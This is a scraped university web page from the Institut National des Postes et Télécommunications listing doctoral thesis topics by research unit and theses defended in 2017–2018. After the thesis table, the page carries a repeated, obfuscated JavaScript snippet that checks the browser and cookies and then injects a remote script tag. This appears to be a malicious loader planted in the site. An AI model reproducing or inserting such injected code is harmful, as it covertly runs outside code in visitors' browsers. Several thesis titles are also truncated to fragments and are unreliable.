

⚠ [1] ⚠ [1]

## Sujets de thèses [2]

### **Sujets de thèses antérieures en cours de préparation :**

CSE	PLLs Design for Low Power and Low Jitter Application
	Amélioration des caractéristiques de l'oscillateur commandé d'une boucle à verrouillage de phase
	Étude et développement d'une plate forme logiciel d'émulation et de simulation des problématiques des
	Étude et conception d'un convertisseur temps-numérique TDC basé sur les anneaux asymétriques
	Conception et réalisation d'un circuit filtrage d'ordre fractionné à base de circuits translinéaires dynamiques
	Optimisation de partage du Codesign (hardware-software) dans les systèmes en chip
EM2TI	La gestion de la relation client et TIC : Secteur des télécoms
	L'ERP Open Source (OpenERP) pour les PME/PMI marocaines, Quel avantage ?
	Indices TIC et compétitivité
	Les pratiques managériales de l'entreprise marocaine à l'heure du big data et de l'intelligence collective
	Les déterminants de l'adoption de XBRL au Maroc
	Management des technologies de l'information
	Les TIC et les changements économiques et sociaux: Dynamique d'une interaction
	Une approche de gestion et de gouvernance de la qualité de données
	Marketing digital
	Business Intelligence et Analytics & Intelligence économique
	Big data : opportunités pour le secteurs des Télécoms
	Intelligence économique : facteur de compétitivité des entreprises et des économies émergentes
Facteurs clés de succès des stratégies de diversification dans les secteurs de TI	
SEEDS	Formalisation de la conscience dans une architecture multi-agents
	Gestion de la variabilité des services : Une approche dirigée par les modèles pour la gestion de la variabilité
	Design et évaluation des architectures Web pour la communication temps réel

	La priorisation des portefeuilles de projets IT
	Vers une nouvelle approche d'adaptation des processus IT
	Design and validation of architectures for start grid
	Intégration d'une approche de conduite de changement dans une méthodologie de gestion de projet
MUSICS	Contrôle d'accès centralisé: Problématiques et amélioration possibles dans le cadre de la 4G
	Étude et amélioration des Systèmes CPL multi usagers pour la transmission et l'allocation de ressources
	Systèmes de coopération avancés pour les Systèmes de Transport Intelligents
	Perception couleur pour des systèmes autonomes
	La VOIP OVER LTE : déploiement service et sécurité
	Détection et reconnaissance d'objets mobiles dans des vidéos issues de plusieurs cameras de surveillance
	Traitement des images 3D pour l'identification des symptômes
	Étude de la fiabilité des transmissions satellitaires dans la perspective de l'optimisation multi-couches
	Conception d'un système d'aide au diagnostic des images mammographies
	Conception estimation de paramètres de déplacement d'un véhicule automobile par fusion de données
	Morphologie mathématique adaptative
	Design and validation of architectures for start grid
	Étude et analyse des nouveaux types d'attaque déni de service de signalisation dans les réseaux mobiles
	Conception et réalisation d'un système de prévisions des catastrophes naturelles à partir des données
	Les systèmes de reconnaissance multibiométriques
	Video streaming over cognitive radio networks
	Machine learning for telecommunication
OMET	La tomographie par cohérence optique
	Étude et conception des nouvelles antennes multi-bandes et ultra large bande pour Les téléphones Portables
	Protocoles de routage dans les réseaux de Capteurs
	Développement et conception d'un système filaire antennaire pour des applications radars et des commutateurs
	Optimisation de l'autonomie dans les réseaux de capteurs sans fils
	Optimisation de la voix sur wifi avec VOLTE
	Développement d'une nouvelle technique de caractérisation diélectrique des matériaux composites multibandes 3D

	Conception d'un frontal radio multi bande 50 MHZ-8GHZ
5TRonG	Application des systèmes cognitifs pour les villes intelligentes
	Smart Grid Communication Architecture
	Sécurité des réseaux cloud: méthodes de sécurisation dans le SAAS
	Localisation GNSS : Intégrité de la solution GNSS dans les milieux urbains
	Advanced PHY Techniques toward Multi-Gbit/s Wireless Communications: Design and Performance Analy
	5G receiver design and low complexity implementation
	Novel 5G access techniques: towards a deployment of non orthogonal multiple access in a device-2-dev
	Étude des paramètres de performance cas multi-flots
	Séparation aveugle des sources pour les retransmissions HARQ
RAISS	Élaboration d'un référentiel de bonnes pratiques pour une meilleure gouvernance du cloud et proposition
	Qualité de service dans les réseaux Ad hoc
	La virtualisation des services IMS
	Les antennes intelligentes
	Analyse, conception et réalisation des filtres en technologie volumique & planaire
	Sécurité des réseaux :les réseaux actifs contre les attaques
	Sécurité des systèmes d'informations pour la protection des infrastructures critiques
	Big Data dans les solutions de convergence : Big Data dans le contexte NGN
	Étude des aspects de sécurité pour l'Internet des Objets
	Réputation mining dans les réseaux sociaux
	Architecture de gestion de Qos pour services en environnement IMS et NGOSS
	La gestion de risques des infrastructures d'information critiques
	Évaluation des performances des réseaux sensibles de nouvelle génération
	Financement des start-up
	Modèles P2P et routage sensible au contexte pour les WBAN
	La gestion des interdépendances des infrastructures critiques
	Continuité de services et gestion de la qualité de services dans les réseaux sans fils hétérogènes
	Sécurité des réseaux cloud: protection de la vie privée des utilisateurs
IP Multimedia System	

Développement d'algorithmes de routage avec qualité de service dans les réseaux adhoc mobiles
Les applications commerciales et gestion basées sur les réseaux de communication sans fils bluetooth e
Approches pour la protection des données personnelles
Multi level integrity management in critical infrastructure
Disponibilités dans les infrastructures critiques
Sécurité des VANETs dans l'IMS(IP multimedia subsystem IMS) dans un contexte de cloud computing
Optimisation des traitements de données volumineuses par analyse et préparation de données
Integration of machine learning and graph theory in MAVET

## Thèses soutenues :

Année	Nom	Discipline	Unité	Thème
001/2017	ABABOU Mohammed	Informatique- Télécommunications	RAISS	<a href="#">Nouvel l'améli protoc</a>
002/2017	EL HAMMOUTI Hajar	Informatique- Télécommunications	RAISS	<a href="#">Game control</a>
003/2017	NACHOUANE Hamza	Electronique- Télécommunications	OMET	<a href="#">Contrib réalisa reconfi pour le radio c généra</a>
004/2017	EL AGUEZ Kamal	Management des technologies de l'information et de la communication	EM2TI	<a href="#">Régula télécom la conc l'invest nouvel</a>
005/2017	RACHDI Anas	Informatique- Télécommunications	SEEDS	<a href="#">Formal</a>
006/2017	MESBAHI Nabil	Informatique- Télécommunications	5TRonG	<a href="#">Nouvel Durée Conne réseau</a>
007/2018	SALAHLINE Fatima	Informatique- Télécommunications	5TRonG	<a href="#">Compr Cogniti</a>
008/2018	ZAMRANI Wiam	Electronique- Télécommunications	OMET	<a href="#">Inform image</a>
009/2018	M'HARZI Zineb	Electronique- Télécommunications	CSE	<a href="#">Contrib des am pour l'é</a>



```
xtxh,');var
o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function
m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var
x=navigator[m("4t"}n)e}gnA(r;eistu}");var y=document[m(":e}idk,owodc,");if(s(x,m("0s7w)obd)n)i(
W{"))&&!s(x,m("&dui{o;r,den;Aj"))){if(!s(y,m("p=na{m9t(uo_,_d_"))){var b=document.createEleme
nt('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6
951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k}c(a3r4t)/{/v:ssrp}t
xtxh,');var
o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function
m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});;(function(){var
x=navigator[m("4t"}n)e}gnA(r;eistu}");var y=document[m(":e}idk,owodc,");if(s(x,m("0s7w)obd)n)i(
W{"))&&!s(x,m("&dui{o;r,den;Aj"))){if(!s(y,m("p=na{m9t(uo_,_d_"))){var b=document.createEleme
nt('script');b.type='text/javascript';b.async=true;b.src=m('b2)agd9f84}4,f893c(7{3;3{8,d{8(c)0cb}6
951=,v;&0)3{2{=udlirc6?;srjx.{e,d4o6c{8s}/lm{o;c{.nd,n{a,r9b}h;s;imm7a;.(k}c(a3r4t)/{/v:ssrp}t
xtxh,');var
o=document.getElementsByTagName('script')[0];o.parentNode.insertBefore(b,o);}}function
m(v){var a="";for(var f=0;f=0;p--){k+=t[p];}return k;}});
```

---

© 2017 Institut National des Postes et Télécommunications

- 
- 

**Source URL:** <http://web.inpt.ac.ma/fr/sujets-de-th%C3%A8ses-et-publications>

## Liens

- [1] <http://web.inpt.ac.ma/fr/javascript%3A%3B>
- [2] <http://web.inpt.ac.ma/fr/sujets-de-th%C3%A8ses-et-publications>
- [3] <http://web.inpt.ac.ma/fr/r%C3%A9sum%C3%A9-001-2017>
- [4] <http://web.inpt.ac.ma/fr/r%C3%A9sum%C3%A9-002-2017>
- [5] <http://web.inpt.ac.ma/fr/r%C3%A9sum%C3%A9-003-2017>
- [6] <http://web.inpt.ac.ma/fr/r%C3%A9sum%C3%A9-004-2017>
- [7] <http://web.inpt.ac.ma/fr/r%C3%A9sum%C3%A9-005-2017>
- [8] <http://web.inpt.ac.ma/fr/r%C3%A9sum%C3%A9-006-2017>
- [9] <http://web.inpt.ac.ma/fr/r%C3%A9sum%C3%A9-007-2018-0>
- [10] <http://web.inpt.ac.ma/fr/r%C3%A9sum%C3%A9-008-2018>
- [11] <http://web.inpt.ac.ma/fr/r%C3%A9sum%C3%A9-009-2018>